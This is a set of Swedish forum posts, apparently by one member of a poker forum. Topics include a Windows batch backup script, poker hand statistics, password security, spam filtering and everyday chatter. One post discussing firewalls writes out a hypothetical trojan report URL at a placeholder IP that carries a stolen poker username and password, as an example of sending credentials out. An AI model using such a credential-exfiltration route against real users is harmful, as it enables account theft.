Andersson

Du har säkert ett litet webbkonto på skolan, och enkätscript dräller det säkerligen av på nätet.

Det kunde man ju avhjälpa litegrann genom att inte visa "antal inlägg" i presentationen till vänster. Då försvinner största anledningen till att folk grindar one-liners.

Gör en .bat-fil som sköter backupen, sen lägger du in batfilen i "schemalagda aktiviteter" på kontrollpanelen. Där får man fippla lite tills man får det att köra scriptet så ofta man vill. echo @prompt set date=$d set backupthis="C:\Documents and Settings\ANVÄNDARE\Mina dokument" set archive="D:\winbackup\backup.rar" set tempdir="C:\WINDOWS\Temp\Backup-"%date% set path="C:\Program\WinRAR\";%path% XCOPY %backupthis %tempdir% /y/i/s/q DEL %archive% rar a -r -m2 -y -o+ -ep1 -df -rr -idq -ri5:0 %archive% %tempdir% RMDIR %tempdir% /s/q När scriptet körs kommer det upp ett dosfönster, vilket kan vara mycket irriterande. Den enda lösning jag kommit på är att skapa en genväg till scriptet (högerklicka, välj "skapa genväg"), gå in på "egenskaper" för genvägen och välj "kör i = mimimerad". Sen lägger man in genvägen istället för scriptet i schemaläggaren.

990 möjliga brädor (45*44/2) 7 kända, 45 okända kort Kx = 44 brädor Qx = 3*44=132 brädor (inkl QQ) par, exkl 44, QQ och KK = 6*10 = 60 brädor summa 236 brädor, ca 23% av 990.

Vadå, du spelar väl på b2b vilket som?

Men kör du $10-bord även om du har såpass med pengar? Precis en sådan tabell finns i pokertracker. Här är min för dec-feb. Den visar bara händer som inte foldades. Tar man även med såna som foldas blir det ordentligt mycket sämre för high card och par, sämre för tvåpar, men inte så stor skillnad för resten. Men nu sade du "vinner", och inte förlorar. Total Saw Went Net Hands Won $ % of tot. Final Hand Times Flop to SD Amount Won $ At SD% Hands High card 384 384 147 80.60 260 15.65 16.81 One Pair 965 964 401 598.47 718 38.40 42.23 Two Pair 513 511 294 440.89 383 55.78 22.45 3 of A Kind 160 159 67 274.16 136 64.18 7.00 Straight 98 98 66 252.67 83 77.27 4.29 Flush 89 89 56 300.29 79 82.14 3.89 Full House 70 70 38 221.05 59 71.05 3.06 4 of A Kind 5 5 3 23.98 4 66.67 0.22 Str. Flush 1 1 1 8.78 1 100.00 0.04 Fast jag vet inte hur mycket man kan läsa ut av den egentligen. Ett tvåpar kan ju vara en stålhand i många situationer, men är floppen enfärgad är det ju bara att kasta. Edit: försöker fixa tabellen...

Konstigt att supporten ens har tillgång till lösenordet tycker jag. Det skall ju inte sparas i klartext! Vanligtvis när man ber om lösenord (till alla möjliga andra saker) brukar det inte gå att få sitt gamla, man får istället ett nytt slumplösen hemskickat.

Han får en gigantisk textfil. I den filen är ditt lösenord det som står mellan ditt användarnamn och "nh" alternativt "lol". En ren dator är naturligtvis en förutsättning för att man ska kunna känna sig trygg. Men det kan vara svårt att avhålla sig helt från att köra okända program. Är man seriös kan man ha en kopia av windows enbart för poker. Fast det blir ett jävla rebootande. Bästa skyddet tror jag annars är ett långt lösenord. Undrar hur många av de som fått sina konton länsade som hade banala lösenord? En snabb googling på "password survey" ger siffror på att 70% - 80% använder enkla lösenord. Eftersom man vet vilka användarnamn som finns (och vilken limit de spelar på) från pokerklienten behöver man ju enbart gissa lösenord. Och det finns alltid folk som har korta lösenord, eller sitt användarnamn baklänges och andra idiotgrejer. Med tanke på att det konstant är folk som prövar olika lösenord på min ssh-server, där det inte ens finns några pengar, hur stor är chansen att det sitter folk och gör samma sak på pokernäten? Så här ser ett bra lösenord ut: vMmjBDQj7AfvdHhWTvvHSO8T2MsVCHjzJmEeNDLGGPdgG2W30ilnXTIPCpAB

Jo, den funkar för mig.

Då är det ju risk att de postar smileys eller enstaka kommentarer i varenda tråd tills de får tillräckligt med poster. Vilket blir rätt jobbigt om de är många.

Intressant. Du har ju faktiskt två frågor, dels frågan "Hur mår du egentligen?" och sedan frågan "vad menar för övrigt de som säger 'X'?". Jag hittade en bok i hyllan, handbok i svenska av Gösta Åberg, som jag bläddrar i. Jag tror faktiskt att det är korrekt (fast inte snyggt) att skriva så här: Vad menar för övrigt de som säger "Hur mår du egentligen?"? Men, det står också att man inte ska hopa tecken på varann om det kan undvikas och det är ju ett bra råd. Ska man skippa ett frågetecken så är det det innanför citattecknet. Det är nog bäst som du skrev.

Det blir mer och mer spam i pm. Jag skulle önska att något gjordes för att begränsa mängden. Jag har ett par förslag. 1) Bygg in ett bayesiskt spamfilter som kollar alla meddelanden som skickas. Om meddelandet flaggas får man gå tillbaks och skriva om det. Inte så mycket extrajobb för ett hederligt pm, men det blir bara jobbigare och jobbigare för varje gång att skriva spam. 2) Vidarebefodra pm i mail till användarens epostadress. Mailadressen hålls hemlig, och spamfiltret hemma tar hand om spammen. 3) Begränsa antalet pm man kan skicka per dag. Åtminstone för nyregistrerade medlemmar. 4) I sista fall, ge oss en valmöjlighet att stänga av pm-funktionen. Så kan man lägga en epostadress i siggen istället. Visst, man kan helt sonika strunta i att läsa pm, men då tror ju avsändaren att meddelandet gått fram och att man ignorerar dem.

Jag har funderat på det en del. Det vore ju suveränt om man kunde hindra en trojan från att skicka ut grejer. Men är det egentligen möjligt? En trojan kan väl lika gärna använda port 80, som webbläsaren, och därmed få grönt ljus genom brandväggen? En annan grej, om man använder en mjukvarubrandvägg som zone alarm, som kan stoppa enskilda program. Då kan ju inte trojanen komma ut på nätet. Men skulle inte en trojan kunna öppna en webbsida med standardbrowsern, säg http://123.45.67.89/trojan_report.php?party_username=killah&party_password=badaboom? För browsern seglar ju vanligtvis rakt genom brandväggen. Sorry om jag kidnappar tråden. Men det var ju inte helt off topic ändå.

Jaha, det förstod jag inte. Jo, det är nog säkrare på en del sätt. Frågan är hur säkert det måste vara?

Du behöver ingen speciell brandvägg för att spela poker. En vanlig gratisbrandvägg duger. Zone alarm exempelvis.

Alla vet väl vad en piraya är. Kolla här t.ex, det är en piraya i glasskålen: http://home.online.no/~hagravda/earl.gif

Grattis. Fast sluta med poker? Helt? Nån hand då och då blir det väl, du har väl inte chefen över axeln hela dagarna?

När ni säger att inloggningen inte funkar, menar ni 1) att det det inte går att logga in "manuellt", 2) att den inte behåller inloggningen mellan besök eller 3) att användarnamn och lösenord inte fylls i automatiskt? 1) Om det inte går att logga in manuellt, vad händer? Fel lösenord, inget händer när man trycker enter..? 2) Om firefox inte behåller inloggningen mellan besök beror det på att cookies rensas. Då har du/ni kanske ett "städprogram" (som ccleaner) som rensar cookies med jämna mellanrum? 3) Inställningar för ifyllning av användarnamn och lösenord finns i tools -> options -> privacy -> passwords. Det har jag också märkt. Fast nu har jag lärt mig att skriva smileys för hand.

Ojojoj, stackare. Vad är det för labyrint han håller på med? Länka tack.

Patchen verkar fungera, inga fel än så länge i alla fall. Om du vill ladda om de sessioner du spelat den senaste veckan (som kan vara felaktiga), gör så här: Se till att du har kvar hh-filerna. Ta en backup av din databas. Gå in på Utilities -> Database Maintenance and Options... och markera de B2B-sessioner du spelat sedan du började importera från hårddisken (använd shift för att markera flera). Klicka Purge Session(s) för att radera dem. Sen kan du använda den vanliga Import hand histories för att ladda in dem på nytt.

Jag kommenterar också det jag orkar, fastän det är sent. Och utan att tjuvkika på Morgan, så nu framkommer det väl hur fiskig jag är. Hand 1: Om inte kavaja var en väldigt lösaktig spelare skulle jag bli mycket misstänksam när den synar på turn. Du har ju trots allt bara ett överpar, och det ligger ett par på bordet. Klassiskt scenario att förlora en massa pengar. Jag hade nog spelat försiktigare på river. Checkat och synat eller lagt mig. Hand 2: Här hade du lika gärna fått checka på turn för min del, men det beror ju på hur aggressivt du brukar spela. En all-in är inte så tokigt iom att motspelaren checkar både flop och turn. Hand 3: Ett överpar, varför inte slänga in en bet det första du gör? Antingen det eller slänga korten. Hand 4: Två motståndare, det är ju perfekt att gå all-in här med flushdraget. Jobbigt med par på bordet, men lite risker får man ta. Hand 5: Bästa tvåparet, inga par, inga flushar. Bara en stege att akta sig för. Jag hade nog gjort likadant. Vad sent det blev. Nu måste jag gå och lägga mig. Resten av händerna får någon annan ta.

Mattes med slice förslag om en egen kategori för hh var bra. Annars röstar jag på fixed/big bet. (Heter det "Mattes med slice förslag" eller "Matte med slices förslag"?)

Fusk! Du får bara dra den en gång.

Åh, vad jag hatar parkeringsböter! Jag fick flera stycken i veckan en period innan jag fick hyra p-plats. Det vore väl en sak om risken att bli lappad var lika för alla, men de jävlarna lär sig var de hittar kroniska felparkerare så sannolikheten att bli lappad växer efter hand till nära 100%. Sen kör jag mycket bil i jobbet, och hatar därför också felparkerare. Men det är skillnad på felparkering och felparkering. Står man på en utmärkt parkeringsplats, men utan att ha betalat är kanske 5-10 ggr avgiften ett bra bötesbelopp. Det ska svida lite. Men puckon som står i vägen på vändplaner eller med ett hjul ute i vägen och liknande skulle råka värre ut. Skrota bilen helt enkelt.

Jag prövade det för ett bra tag sen. Virtuella desktops är standard i de flesta av linux fönsterhanterare så jag ville prova om det var samma. Men det kändes bara vilset i powertoys. Hursomhelst, virtuella desktoppar är ju bara ett annat sätt att minimera/maximera fönster, ingen ersättning för en extra skärm.